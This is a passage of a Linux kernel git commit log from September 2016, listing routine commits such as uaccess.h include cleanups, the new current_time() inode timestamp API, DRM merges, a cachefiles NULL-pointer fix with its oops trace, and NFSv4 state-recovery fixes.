x86: separate extable.h, switch sections.h to it drivers/platform/x86/dell-smo8800.c is touched due to the following obscenity: drivers/platform/x86/dell-smo8800.c -> linux/interrupt.h -> linux/hardirq.h -> asm/hardirq.h -> linux/irq.h -> asm/hw_irq.h -> asm/sections.h -> asm/uaccess.h is the only chain of includes pulling asm/uaccess.h there. Signed-off-by: Al Viro arch/x86/include/asm/extable.h | 35 +++++++++++++++++++++++++++++++++++ arch/x86/include/asm/sections.h | 2 +- arch/x86/include/asm/uaccess.h | 32 +------------------------------- drivers/platform/x86/dell-smo8800.c | 1 + 4 files changed, 38 insertions(+), 32 deletions(-) commit b79d8d82bb994fe6154ea1a8e56d587ef9e356ae Author: Al Viro Date: Mon Sep 5 11:27:55 2016 -0400 remove stray include of asm/uaccess.h from cacheflush.h It was introduced in "arch, x86: pmem api for ensuring durability of persistent memory updates" in July 2015, along with the code that really used that stuff. Three weeks later all that code got moved to asm/pmem.h by "pmem, x86: move x86 PMEM API to new pmem.h header"; include, however, was left behind. Signed-off-by: Al Viro arch/x86/include/asm/cacheflush.h | 1 - 1 file changed, 1 deletion(-) commit a31b821d8c189a6e6eee92f6c55989ce722e8089 Author: Al Viro Date: Sun Sep 4 23:04:32 2016 -0400 mn10300: remove a bogus processor.h->uaccess.h include The only reason it used to be needed had been a (bogus) use of set_fs() in start_thread() and that got removed in 2011... Signed-off-by: Al Viro arch/mn10300/include/asm/processor.h | 1 - 1 file changed, 1 deletion(-) commit 76580237d13fbfcd55acbc8fdd6726be7080a275 Author: Al Viro Date: Sun Sep 4 14:26:36 2016 -0400 xtensa: split uaccess.h into C and asm sides Signed-off-by: Al Viro arch/xtensa/include/asm/asm-uaccess.h | 160 ++++++++++++++++++++++++++++++++++ arch/xtensa/include/asm/uaccess.h | 142 ------------------------------ arch/xtensa/kernel/coprocessor.S | 2 +- arch/xtensa/kernel/entry.S | 2 +- 4 files changed, 162 insertions(+), 144 deletions(-) commit 4ad41c1e2616a64c9e789d7069b1cb3402d2af3a Author: Al Viro Date: Sat Sep 3 19:37:25 2016 -0400 bonding: quit messing with IOCTL The only remaining users are issuing SIOCGMIIPHY and SIOCGMIIREG, neither of which deals with userland pointers. Simply calling ->ndo_do_ioctl() is fine; no messing with set_fs() is needed. It used to mess with SIOCETHTOOL, which would've needed set_fs(), but that has been killed in "[NET] ethtool ops are the only way" 9 years ago... Signed-off-by: Al Viro drivers/net/bonding/bond_main.c | 4 ++-- include/net/bonding.h | 12 ------------ 2 files changed, 2 insertions(+), 14 deletions(-) commit 93b5097fe5b47d536b560fce14f4def3d1866121 Author: Al Viro Date: Sat Sep 3 18:23:48 2016 -0400 kill __kernel_ds_p off Signed-off-by: Al Viro arch/frv/include/asm/segment.h | 1 - arch/mn10300/include/asm/uaccess.h | 1 - 2 files changed, 2 deletions(-) commit 81029b1f775ad55caeaa8f7f260273969a4a282e Author: Al Viro Date: Sat Sep 3 18:05:00 2016 -0400 mn10300: finish verify_area() off Signed-off-by: Al Viro arch/mn10300/include/asm/uaccess.h | 6 ------ arch/mn10300/kernel/signal.c | 6 +++--- 2 files changed, 3 insertions(+), 9 deletions(-) commit 08435d89dd5890c3e72dbdc0f47e7b06f0012447 Author: Al Viro Date: Sat Sep 3 17:07:08 2016 -0400 frv: move HAVE_ARCH_UNMAPPED_AREA to pgtable.h it has no business in uaccess.h, everything else has it in pgtable.h and the only user (mm/mmap.c) unconditionally pulls asm/pgtable.h via linux/mm.h. Signed-off-by: Al Viro arch/frv/include/asm/pgtable.h | 1 + arch/frv/include/asm/uaccess.h | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) commit df720ac12fc76d235a1b0d7ebccd14b23085c24e Author: Al Viro Date: Fri Aug 12 18:47:45 2016 -0400 exceptions: detritus removal externs and defines for stuff that is never used Signed-off-by: Al Viro arch/arm/mm/fault.h | 1 - arch/m68k/include/asm/uaccess_no.h | 3 --- arch/microblaze/include/asm/uaccess.h | 3 --- arch/openrisc/include/asm/uaccess.h | 4 ---- arch/sh/include/asm/uaccess.h | 2 -- arch/x86/mm/fault.c | 2 +- arch/xtensa/include/asm/uaccess.h | 11 ----------- include/asm-generic/uaccess.h | 4 ---- 8 files changed, 1 insertion(+), 29 deletions(-) commit f01ebbdb46a845a756db7c3cd4cf9718d6d4b715 Merge: f8049dd b4bba92 Author: Dave Airlie Date: Wed Sep 28 11:14:58 2016 +1000 Merge branch 'sti-drm-next-2016-09-20' of https://github.com/vinceab/linux into drm-next Here are some patches for drm-next. It contains: - minor fixes for typo and warning. - sparse and coccicheck warning fixes - bunch of patches fixing issues found while testing drm/sti with an atomic version of weston - the removal of the support of stih415-416 sti platform * 'sti-drm-next-2016-09-20' of https://github.com/vinceab/linux: drm/sti: remove stih415-416 platform support drm/sti: fix compositor debugfs creation drm/sti: use valid video mode drm/sti: in crtc_atomic_flush, enable only planes of this crtc drm/sti: use vtg array instead of vtg_main/aux drm/sti: use different notifier_block for each pipe drm/sti: fix atomic_disable check drm/sti: run gdp init sequence only once drm/sti: run hqvdp init sequence only once drm/sti: fix debug logs drm/sti: dpms function missing for HDMI connector drm/sti: Fix sparse warnings drm: sti: fix coccicheck warnings drm: sti: Replace drm_fb_get_bpp_depth() with drm_format_plane_cpp() commit f8049dd865a1de8b494c16a4cd18ee15fa896810 Merge: 3f346d5 7a3bcc0 Author: Dave Airlie Date: Wed Sep 28 11:09:59 2016 +1000 Merge branch 'msm-next' of git://people.freedesktop.org/~robclark/linux into drm-next A bit smaller pull-req this time around. Some continued DT binding cleanup to get the corresponding dts bits merged upstream (through other trees). And explicit fence-fd support for submit ioctl. * 'msm-next' of git://people.freedesktop.org/~robclark/linux: drm/msm: bump kernel api version for explicit fencing drm/msm: submit support for out-fences drm/msm: move fence allocation out of msm_gpu_submit() drm/msm: submit support for in-fences drm/msm: extend the submit ioctl to pass in flags drm/msm/mdp5: Set rotation property initial value to DRM_ROTATE_0 insted of 0 drm/msm/hdmi: don't print error when adding i2c adapter fails drm/msm/mdp4: mark symbols static where possible drm/msm: Remove call to reservation_object_test_signaled_rcu before wait drm/msm/hdmi: Clean up HDMI gpio DT bindings drm/msm/mdp4: Fix issue with LCDC/LVDS port parsing commit c2050a454c7f123d7a57fa1d76ff61bd43643abb Author: Deepa Dinamani Date: Wed Sep 14 07:48:06 2016 -0700 fs: Replace current_fs_time() with current_time() current_fs_time() uses struct super_block* as an argument. As per Linus's suggestion, this is changed to take struct inode* as a parameter instead. This is because the function is primarily meant for vfs inode timestamps. Also the function was renamed as per Arnd's suggestion. Change all calls to current_fs_time() to use the new current_time() function instead. current_fs_time() will be deleted. Signed-off-by: Deepa Dinamani Signed-off-by: Al Viro drivers/char/sonypi.c | 2 +- drivers/platform/x86/sony-laptop.c | 2 +- fs/attr.c | 2 +- fs/bad_inode.c | 2 +- fs/binfmt_misc.c | 2 +- fs/btrfs/file.c | 6 +++--- fs/btrfs/inode.c | 22 +++++++++++----------- fs/btrfs/ioctl.c | 8 ++++---- fs/btrfs/transaction.c | 4 ++-- fs/btrfs/xattr.c | 2 +- fs/ceph/file.c | 4 ++-- fs/ceph/inode.c | 2 +- fs/ceph/xattr.c | 2 +- fs/cifs/file.c | 4 ++-- fs/configfs/inode.c | 6 +++--- fs/debugfs/inode.c | 2 +- fs/f2fs/xattr.c | 2 +- fs/fat/file.c | 2 +- fs/fuse/dir.c | 2 +- fs/inode.c | 6 +++--- fs/jfs/namei.c | 2 +- fs/kernfs/inode.c | 2 +- fs/locks.c | 2 +- fs/nfsd/blocklayout.c | 2 +- fs/ntfs/inode.c | 2 +- fs/ntfs/mft.c | 2 +- fs/orangefs/namei.c | 10 +++++----- fs/udf/ialloc.c | 2 +- fs/udf/inode.c | 4 ++-- fs/udf/namei.c | 20 ++++++++++---------- fs/xfs/xfs_acl.c | 2 +- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_iops.c | 2 +- fs/xfs/xfs_trans_inode.c | 2 +- 34 files changed, 70 insertions(+), 70 deletions(-) commit 02027d42c3f747945f19111d3da2092ed2148ac8 Author: Deepa Dinamani Date: Wed Sep 14 07:48:05 2016 -0700 fs: Replace CURRENT_TIME_SEC with current_time() for inode timestamps CURRENT_TIME_SEC is not y2038 safe. current_time() will be transitioned to use 64 bit time along with vfs in a separate patch. There is no plan to transistion CURRENT_TIME_SEC to use y2038 safe time interfaces. current_time() will also be extended to use superblock range checking parameters when range checking is introduced. This works because alloc_super() fills in the the s_time_gran in super block to NSEC_PER_SEC. Signed-off-by: Deepa Dinamani Acked-by: Jan Kara Signed-off-by: Al Viro fs/affs/amigaffs.c | 6 +++--- fs/affs/inode.c | 2 +- fs/bfs/dir.c | 14 +++++++------- fs/coda/dir.c | 2 +- fs/coda/file.c | 2 +- fs/coda/inode.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext2/dir.c | 6 +++--- fs/ext2/ialloc.c | 2 +- fs/ext2/inode.c | 4 ++-- fs/ext2/ioctl.c | 4 ++-- fs/ext2/namei.c | 6 +++--- fs/ext2/xattr.c | 2 +- fs/fat/dir.c | 2 +- fs/fat/file.c | 4 ++-- fs/fat/inode.c | 2 +- fs/fat/namei_msdos.c | 12 ++++++------ fs/fat/namei_vfat.c | 10 +++++----- fs/hfs/catalog.c | 8 ++++---- fs/hfs/dir.c | 2 +- fs/hfs/inode.c | 2 +- fs/hfsplus/catalog.c | 8 ++++---- fs/hfsplus/dir.c | 6 +++--- fs/hfsplus/inode.c | 2 +- fs/hfsplus/ioctl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jffs2/fs.c | 2 +- fs/minix/bitmap.c | 2 +- fs/minix/dir.c | 6 +++--- fs/minix/itree_common.c | 4 ++-- fs/minix/namei.c | 4 ++-- fs/omfs/dir.c | 4 ++-- fs/reiserfs/inode.c | 2 +- fs/reiserfs/ioctl.c | 4 ++-- fs/reiserfs/namei.c | 12 ++++++------ fs/reiserfs/stree.c | 8 ++++---- fs/reiserfs/super.c | 2 +- fs/reiserfs/xattr.c | 6 +++--- fs/reiserfs/xattr_acl.c | 2 +- fs/sysv/dir.c | 6 +++--- fs/sysv/ialloc.c | 2 +- fs/sysv/itree.c | 4 ++-- fs/sysv/namei.c | 4 ++-- fs/ufs/dir.c | 6 +++--- fs/ufs/ialloc.c | 2 +- fs/ufs/inode.c | 6 +++--- fs/ufs/namei.c | 6 +++--- 47 files changed, 105 insertions(+), 105 deletions(-) commit 078cd8279e659989b103359bb22373cc79445bde Author: Deepa Dinamani Date: Wed Sep 14 07:48:04 2016 -0700 fs: Replace CURRENT_TIME with current_time() for inode timestamps CURRENT_TIME macro is not appropriate for filesystems as it doesn't use the right granularity for filesystem timestamps. Use current_time() instead. CURRENT_TIME is also not y2038 safe. This is also in preparation for the patch that transitions vfs timestamps to use 64 bit time and hence make them y2038 safe. As part of the effort current_time() will be extended to do range checks. Hence, it is necessary for all file system timestamps to use current_time(). Also, current_time() will be transitioned along with vfs to be y2038 safe. Note that whenever a single call to current_time() is used to change timestamps in different inodes, it is because they share the same time granularity. Signed-off-by: Deepa Dinamani Reviewed-by: Arnd Bergmann Acked-by: Felipe Balbi Acked-by: Steven Whitehouse Acked-by: Ryusuke Konishi Acked-by: David Sterba Signed-off-by: Al Viro arch/powerpc/platforms/cell/spufs/inode.c | 2 +- arch/s390/hypfs/inode.c | 4 ++-- drivers/infiniband/hw/qib/qib_fs.c | 2 +- drivers/misc/ibmasm/ibmasmfs.c | 2 +- drivers/oprofile/oprofilefs.c | 2 +- drivers/usb/core/devio.c | 18 +++++++++--------- drivers/usb/gadget/function/f_fs.c | 8 ++++---- drivers/usb/gadget/legacy/inode.c | 2 +- fs/9p/vfs_inode.c | 2 +- fs/adfs/inode.c | 2 +- fs/autofs4/inode.c | 2 +- fs/autofs4/root.c | 6 +++--- fs/devpts/inode.c | 6 +++--- fs/efivarfs/inode.c | 2 +- fs/exofs/dir.c | 6 +++--- fs/exofs/inode.c | 4 ++-- fs/exofs/namei.c | 6 +++--- fs/ext2/super.c | 2 +- fs/f2fs/dir.c | 8 ++++---- fs/f2fs/file.c | 8 ++++---- fs/f2fs/inline.c | 2 +- fs/f2fs/namei.c | 12 ++++++------ fs/fuse/control.c | 2 +- fs/gfs2/bmap.c | 8 ++++---- fs/gfs2/dir.c | 12 ++++++------ fs/gfs2/inode.c | 8 ++++---- fs/gfs2/quota.c | 2 +- fs/gfs2/xattr.c | 8 ++++---- fs/hugetlbfs/inode.c | 10 +++++----- fs/jfs/acl.c | 2 +- fs/jfs/inode.c | 2 +- fs/jfs/jfs_inode.c | 2 +- fs/jfs/namei.c | 22 +++++++++++----------- fs/jfs/super.c | 2 +- fs/jfs/xattr.c | 2 +- fs/libfs.c | 14 +++++++------- fs/logfs/dir.c | 6 +++--- fs/logfs/file.c | 2 +- fs/logfs/inode.c | 4 ++-- fs/logfs/readwrite.c | 4 ++-- fs/nilfs2/dir.c | 6 +++--- fs/nilfs2/inode.c | 4 ++-- fs/nilfs2/ioctl.c | 2 +- fs/nilfs2/namei.c | 6 +++--- fs/nsfs.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/ocfs2/alloc.c | 2 +- fs/ocfs2/aops.c | 2 +- fs/ocfs2/dir.c | 4 ++-- fs/ocfs2/dlmfs/dlmfs.c | 4 ++-- fs/ocfs2/file.c | 12 ++++++------ fs/ocfs2/move_extents.c | 2 +- fs/ocfs2/namei.c | 10 +++++----- fs/ocfs2/refcounttree.c | 4 ++-- fs/ocfs2/xattr.c | 2 +- fs/omfs/inode.c | 2 +- fs/openpromfs/inode.c | 2 +- fs/orangefs/file.c | 2 +- fs/orangefs/inode.c | 2 +- fs/pipe.c | 2 +- fs/posix_acl.c | 2 +- fs/proc/base.c | 2 +- fs/proc/inode.c | 2 +- fs/proc/proc_sysctl.c | 2 +- fs/proc/self.c | 2 +- fs/proc/thread_self.c | 2 +- fs/pstore/inode.c | 2 +- fs/ramfs/inode.c | 6 +++--- fs/tracefs/inode.c | 2 +- ipc/mqueue.c | 18 +++++++++--------- kernel/bpf/inode.c | 2 +- mm/shmem.c | 20 ++++++++++---------- net/sunrpc/rpc_pipe.c | 2 +- security/apparmor/apparmorfs.c | 2 +- security/inode.c | 2 +- security/selinux/selinuxfs.c | 2 +- 76 files changed, 182 insertions(+), 182 deletions(-) commit 2554c72edb81c97ae5307613dd0aee1ef8dd13ca Author: Deepa Dinamani Date: Wed Sep 14 07:48:03 2016 -0700 fs: proc: Delete inode time initializations in proc_alloc_inode() proc uses new_inode_pseudo() to allocate a new inode. This in turn calls the proc_inode_alloc() callback. But, at this point, inode is still not initialized with the super_block pointer which only happens just before alloc_inode() returns after the call to inode_init_always(). Also, the inode times are initialized again after the call to new_inode_pseudo() in proc_inode_alloc(). The assignemet in proc_alloc_inode() is redundant and also doesn't work after the current_time() api is changed to take struct inode* instead of struct *super_block. This bug was reported after current_time() was used to assign times in proc_alloc_inode(). Signed-off-by: Deepa Dinamani Reported-by: Fengguang Wu [0-day test robot] Reviewed-by: Arnd Bergmann Signed-off-by: Al Viro fs/proc/inode.c | 1 - 1 file changed, 1 deletion(-) commit 3cd886666ff19e9796a519e16d94fc94f79c8a4c Author: Deepa Dinamani Date: Wed Sep 14 07:48:02 2016 -0700 vfs: Add current_time() api current_fs_time() is used for inode timestamps. Change the signature of the function to take inode pointer instead of superblock as per Linus's suggestion. Also, move the api under vfs as per the discussion on the thread: https://lkml.org/lkml/2016/6/9/36 . As per Arnd's suggestion on the thread, changing the function name. current_fs_time() will be deleted after all the references to it are replaced by current_time(). There was a bug reported by kbuild test bot with the change as some of the calls to current_time() were made before the super_block was initialized. Catch these accidental assignments as timespec_trunc() does for wrong granularities. This allows for the function to work right even in these circumstances. But, adds a warning to make the user aware of the bug. A coccinelle script was used to identify all the current .alloc_inode super_block callbacks that updated inode timestamps. proc filesystem was the only one that was modifying inode times as part of this callback. The series includes a patch to fix that. Note that timespec_trunc() will also be moved to fs/inode.c in a separate patch when this will need to be revamped for bounds checking purposes. Signed-off-by: Deepa Dinamani Reviewed-by: Arnd Bergmann Signed-off-by: Al Viro fs/inode.c | 23 +++++++++++++++++++++++ include/linux/fs.h | 1 + 2 files changed, 24 insertions(+) commit 3f346d5dcb591c2a5a26653d093af710cf2e5a31 Merge: 196ebdc 089cfdd Author: Dave Airlie Date: Wed Sep 28 10:28:23 2016 +1000 Merge tag 'topic/drm-misc-2016-09-25' of git://anongit.freedesktop.org/drm-intel into drm-next - more core cleanup patches to prep drm_file to be used for kernel-internal contexts (David Herrmann) - more split-up+docs for drm_crtc.c - lots of small fixes and polish all over * tag 'topic/drm-misc-2016-09-25' of git://anongit.freedesktop.org/drm-intel: (37 commits) drm: bridge: analogix/dp: mark symbols static where possible drm/bochs: mark bochs_connector_get_modes() static drm/bridge: analogix_dp: Improve panel on time drm/bridge: analogix_dp: Don't read EDID if panel present drm/bridge: analogix_dp: Remove duplicated code Revert "drm/i2c: tda998x: don't register the connector" drm: Fix plane type uabi breakage dma-buf/sync_file: free fences array in num_fences is 1 drm/i2c: tda998x: don't register the connector drm: Don't swallow error codes in drm_dev_alloc() drm: Distinguish no name from ENOMEM in set_unique() drm: Remove dirty property from docs drm/doc: Document color space handling drm: Extract drm_color_mgmt.[hc] drm/doc: Polish plane composition property docs drm: Conslidate blending properties in drm_blend.[hc] drm/doc: Polish for drm_plane.[hc] drm: Extract drm_plane.[hc] drm/tilcdc: Add atomic and crtc headers to crtc.c drm: Fix typo in encoder docs ... commit 196ebdcc1db26977948c760664f024fa766950e4 Merge: 52f13a0 e88a614 Author: Dave Airlie Date: Wed Sep 28 10:25:42 2016 +1000 Merge tag 'drm-amdkfd-next-2016-09-19' of git://people.freedesktop.org/~gabbayo/linux into drm-next This is amdkfd's pull request for kernel 4.9. It contains a fix to a possible infinite loop bug and a couple of other minor "cleaning" patches. * tag 'drm-amdkfd-next-2016-09-19' of git://people.freedesktop.org/~gabbayo/linux: drm/amdkfd: Pass 'struct queue_propertices' by reference drm/amdkfd: Unify multiple calls to pr_debug() into one drm/amdkfd: Fix possible infinite loop drm/amdkfd: Reuse function to find a process through pasid drm/amdkfd: Add some missing memset zero'ing in queue init func drm/amdkfd: Tidy up kfd_generate_gpu_id() uint64_t bitshift unpack commit 0026ba4008e08725a564126d68e076c243fc1e87 Author: Eric Biggers Date: Mon Sep 12 13:30:41 2016 -0700 fs/buffer.c: make __getblk_slow() static __getblk_slow() was exported to modules in commit 3b5e6454aaf6 ("fs/buffer.c: support buffer cache allocations with gfp modifiers"). This seems to have been a mistake, as no users were introduced nor was the function declared in a header. Change it back to 'static'. Signed-off-by: Eric Biggers Signed-off-by: Al Viro fs/buffer.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 771187d61bb3cbaf62c492ec3b8b789933f7691e Author: Alexey Dobriyan Date: Fri Sep 2 00:42:02 2016 +0300 proc: unsigned file descriptors Make struct proc_inode::fd unsigned. This allows better code generation on x86_64 (less sign extensions). Signed-off-by: Alexey Dobriyan Signed-off-by: Al Viro fs/proc/fd.c | 8 ++++---- fs/proc/fd.h | 2 +- fs/proc/internal.h | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) commit 9b80a184eaadc117f27faad522008f31d571621b Author: Alexey Dobriyan Date: Fri Sep 2 00:38:52 2016 +0300 fs/file: more unsigned file descriptors Propagate unsignedness for grand total of 149 bytes: $ ./scripts/bloat-o-meter ../vmlinux-000 ../obj/vmlinux add/remove: 0/0 grow/shrink: 0/10 up/down: 0/-149 (-149) function old new delta set_close_on_exec 99 98 -1 put_files_struct 201 200 -1 get_close_on_exec 59 58 -1 do_prlimit 498 497 -1 do_execveat_common.isra 1662 1661 -1 __close_fd 178 173 -5 do_dup2 219 204 -15 seq_show 685 660 -25 __alloc_fd 384 357 -27 dup_fd 718 646 -72 It mostly comes from converting "unsigned int" to "long" for bit operations. Signed-off-by: Alexey Dobriyan Signed-off-by: Al Viro fs/file.c | 34 +++++++++++++++++----------------- include/linux/fdtable.h | 6 +++--- include/linux/fs.h | 2 +- kernel/sysctl.c | 4 ++-- 4 files changed, 23 insertions(+), 23 deletions(-) commit 85e7340f21d3a88883e54cd2a5d7ebf04e827eeb Author: Shawn Lin Date: Mon Aug 22 15:45:59 2016 +0800 fs: compat: remove redundant check of nr_segs nr_segs should never be less than zero as its type is unsigned long, so let's remove this check. Signed-off-by: Shawn Lin Signed-off-by: Al Viro fs/compat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a818101d7b92e76db2f9a597e4830734767473b9 Author: David Howells Date: Tue Aug 9 17:41:16 2016 +0100 cachefiles: Fix attempt to read i_blocks after deleting file [ver #2] An NULL-pointer dereference happens in cachefiles_mark_object_inactive() when it tries to read i_blocks so that it can tell the cachefilesd daemon how much space it's making available. The problem is that cachefiles_drop_object() calls cachefiles_mark_object_inactive() after calling cachefiles_delete_object() because the object being marked active staves off attempts to (re-)use the file at that filename until after it has been deleted. This means that d_inode is NULL by the time we come to try to access it. To fix the problem, have the caller of cachefiles_mark_object_inactive() supply the number of blocks freed up. Without this, the following oops may occur: BUG: unable to handle kernel NULL pointer dereference at 0000000000000098 IP: [] cachefiles_mark_object_inactive+0x61/0xb0 [cachefiles] ... CPU: 11 PID: 527 Comm: kworker/u64:4 Tainted: G I ------------ 3.10.0-470.el7.x86_64 #1 Hardware name: Hewlett-Packard HP Z600 Workstation/0B54h, BIOS 786G4 v03.19 03/11/2011 Workqueue: fscache_object fscache_object_work_func [fscache] task: ffff880035edaf10 ti: ffff8800b77c0000 task.ti: ffff8800b77c0000 RIP: 0010:[] cachefiles_mark_object_inactive+0x61/0xb0 [cachefiles] RSP: 0018:ffff8800b77c3d70 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8800bf6cc400 RCX: 0000000000000034 RDX: 0000000000000000 RSI: ffff880090ffc710 RDI: ffff8800bf761ef8 RBP: ffff8800b77c3d88 R08: 2000000000000000 R09: 0090ffc710000000 R10: ff51005d2ff1c400 R11: 0000000000000000 R12: ffff880090ffc600 R13: ffff8800bf6cc520 R14: ffff8800bf6cc400 R15: ffff8800bf6cc498 FS: 0000000000000000(0000) GS:ffff8800bb8c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000098 CR3: 00000000019ba000 CR4: 00000000000007e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Stack: ffff880090ffc600 ffff8800bf6cc400 ffff8800867df140 ffff8800b77c3db0 ffffffffa06c48cb ffff880090ffc600 ffff880090ffc180 ffff880090ffc658 ffff8800b77c3df0 ffffffffa085d846 ffff8800a96b8150 ffff880090ffc600 Call Trace: [] cachefiles_drop_object+0x6b/0xf0 [cachefiles] [] fscache_drop_object+0xd6/0x1e0 [fscache] [] fscache_object_work_func+0xa5/0x200 [fscache] [] process_one_work+0x17b/0x470 [] worker_thread+0x126/0x410 [] ? rescuer_thread+0x460/0x460 [] kthread+0xcf/0xe0 [] ? kthread_create_on_node+0x140/0x140 [] ret_from_fork+0x58/0x90 [] ? kthread_create_on_node+0x140/0x140 The oopsing code shows: callq 0xffffffff810af6a0 mov 0xf8(%r12),%rax mov 0x30(%rax),%rax mov 0x98(%rax),%rax <---- oops here lock add %rax,0x130(%rbx) where this is: d_backing_inode(object->dentry)->i_blocks Fixes: a5b3a80b899bda0f456f1246c4c5a1191ea01519 (CacheFiles: Provide read-and-reset release counters for cachefilesd) Reported-by: Jianhong Yin Signed-off-by: David Howells Reviewed-by: Jeff Layton Reviewed-by: Steve Dickson cc: stable@vger.kernel.org Signed-off-by: Al Viro fs/cachefiles/interface.c | 8 +++++++- fs/cachefiles/internal.h | 3 ++- fs/cachefiles/namei.c | 8 ++++---- 3 files changed, 13 insertions(+), 6 deletions(-) commit fc56b9838a20d4c8a0ca6bb8ecfa2e7f0834ab0f Author: Al Viro Date: Wed Sep 21 18:18:23 2016 -0400 cifs: don't use memcpy() to copy struct iov_iter it's not 70s anymore. Signed-off-by: Al Viro fs/cifs/file.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 4bce9f6ee8f84fdf333d0fd7fcf7f0d8c7cce7fa Author: Al Viro Date: Sat Sep 17 18:02:44 2016 -0400 get rid of separate multipage fault-in primitives * the only remaining callers of "short" fault-ins are just as happy with generic variants (both in lib/iov_iter.c); switch them to multipage variants, kill the "short" ones * rename the multipage variants to now available plain ones. * get rid of compat macro defining iov_iter_fault_in_multipage_readable by expanding it in its only user. Signed-off-by: Al Viro drivers/gpu/drm/armada/armada_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem.c | 6 ++-- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- fs/ntfs/file.c | 2 +- include/linux/pagemap.h | 54 ++---------------------------- include/linux/uio.h | 1 - lib/iov_iter.c | 3 +- 7 files changed, 9 insertions(+), 61 deletions(-) commit 66b808099146166c44157600a166c8372172cd76 Author: Keith Busch Date: Tue Sep 27 16:23:34 2016 -0400 PCI/AER: Cache capability position Save the position of the error reporting capability so it doesn't need to be rediscovered during error handling. Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas CC: Lukas Wunner drivers/pci/pcie/aer/aerdrv.c | 10 +++++----- drivers/pci/pcie/aer/aerdrv_core.c | 18 ++++++++++++------ drivers/pci/probe.c | 3 ++- include/linux/pci.h | 5 +++++ 4 files changed, 24 insertions(+), 12 deletions(-) commit 4b202b716e4e282c26c4a95952ea33e318c363ab Author: Jon Derrick Date: Wed Sep 14 10:38:55 2016 -0600 PCI/AER: Avoid memory allocation in interrupt handling path When handling AER events, we previously allocated a struct aer_err_info, processed the error, and freed the struct. But aer_isr_one_error() is serialized by rpc_mutex, so we never need more than one copy of the struct, and the struct is only about 70 bytes, so we're not saving much by allocating it dynamically. Embed a struct aer_err_info directly in struct aer_rpc, which is allocated at probe-time by aer_probe(). [bhelgaas: changelog] Suggested-by: Bjorn Helgaas Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas drivers/pci/pcie/aer/aerdrv.h | 1 + drivers/pci/pcie/aer/aerdrv_core.c | 13 ++----------- 2 files changed, 3 insertions(+), 11 deletions(-) commit bfc505ded01e3c57d12c6f939f352200655d8635 Author: Trond Myklebust Date: Thu Sep 15 18:26:05 2016 -0400 pNFS: Fix atime updates on pNFS clients Fix the code so that we always mark the atime as invalid in nfs4_read_done(). Currently, the expectation appears to be that the pNFS drivers should always do this, with the result that most of them don't. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/internal.h | 1 - fs/nfs/nfs4proc.c | 8 ++------ fs/nfs/pnfs.c | 4 +--- 3 files changed, 3 insertions(+), 10 deletions(-) commit 77b00bc037e7c58d7a4ef791d1c7eeaf6f7a43e3 Author: Ke Wang Date: Thu Sep 1 15:30:26 2016 +0800 sunrpc: queue work on system_power_efficient_wq sunrpc uses workqueue to clean cache regulary. There is no real dependency of executing work on the cpu which queueing it. On a idle system, especially for a heterogeneous systems like big.LITTLE, it is observed that the big idle cpu was woke up many times just to service this work, which against the principle of power saving. It would be better if we can schedule it on a cpu which the scheduler believes to be the most appropriate one. After apply this patch, system_wq will be replaced by system_power_efficient_wq for sunrpc. This functionality is enabled when CONFIG_WQ_POWER_EFFICIENT is selected. Signed-off-by: Ke Wang Signed-off-by: Anna Schumaker net/sunrpc/cache.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 8a64c4ef106d17805691e893642912041a622938 Author: Trond Myklebust Date: Thu Sep 22 13:39:21 2016 -0400 NFSv4.1: Even if the stateid is OK, we may need to recover the open modes TEST_STATEID only tells you that you have a valid open stateid. It doesn't tell the client anything about whether or not it holds the required share locks. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin [Anna: Wrap nfs_open_stateid_recover_openmode in CONFIG_NFS_V4_1 checks] Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) commit 7ebeb7fe74bb855bc76a72154e669f00dc614729 Author: Trond Myklebust Date: Thu Sep 22 13:39:20 2016 -0400 NFSv4: If recovery failed for a specific open stateid, then don't retry Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4state.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit 76e8a1bd143a84bcc16ee1c19a2cd2715696b572 Author: Trond Myklebust Date: Thu Sep 22 13:39:19 2016 -0400 NFSv4: Fix retry issues with nfs41_test/free_stateid _nfs41_free_stateid() needs to be cached by the session, but nfs41_test_stateid() may return NFS4ERR_RETRY_UNCACHED_REP (in which case we should just retry). Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 304020fe48c6c7fff8b5a38f382b54404f0f79d3 Author: Trond Myklebust Date: Thu Sep 22 13:39:18 2016 -0400 NFSv4: Open state recovery must account for file permission changes If the file permissions change on the server, then we may not be able to recover open state. If so, we need to ensure that we mark the file descriptor appropriately. Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4state.c | 3 +++ 1 file changed, 3 insertions(+) commit 67dd483026c64444d7fd8eab83334621b3c47b76 Author: Trond Myklebust Date: Thu Sep 22 13:39:17 2016 -0400 NFSv4: Mark the lock and open stateids as invalid after freeing them Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker 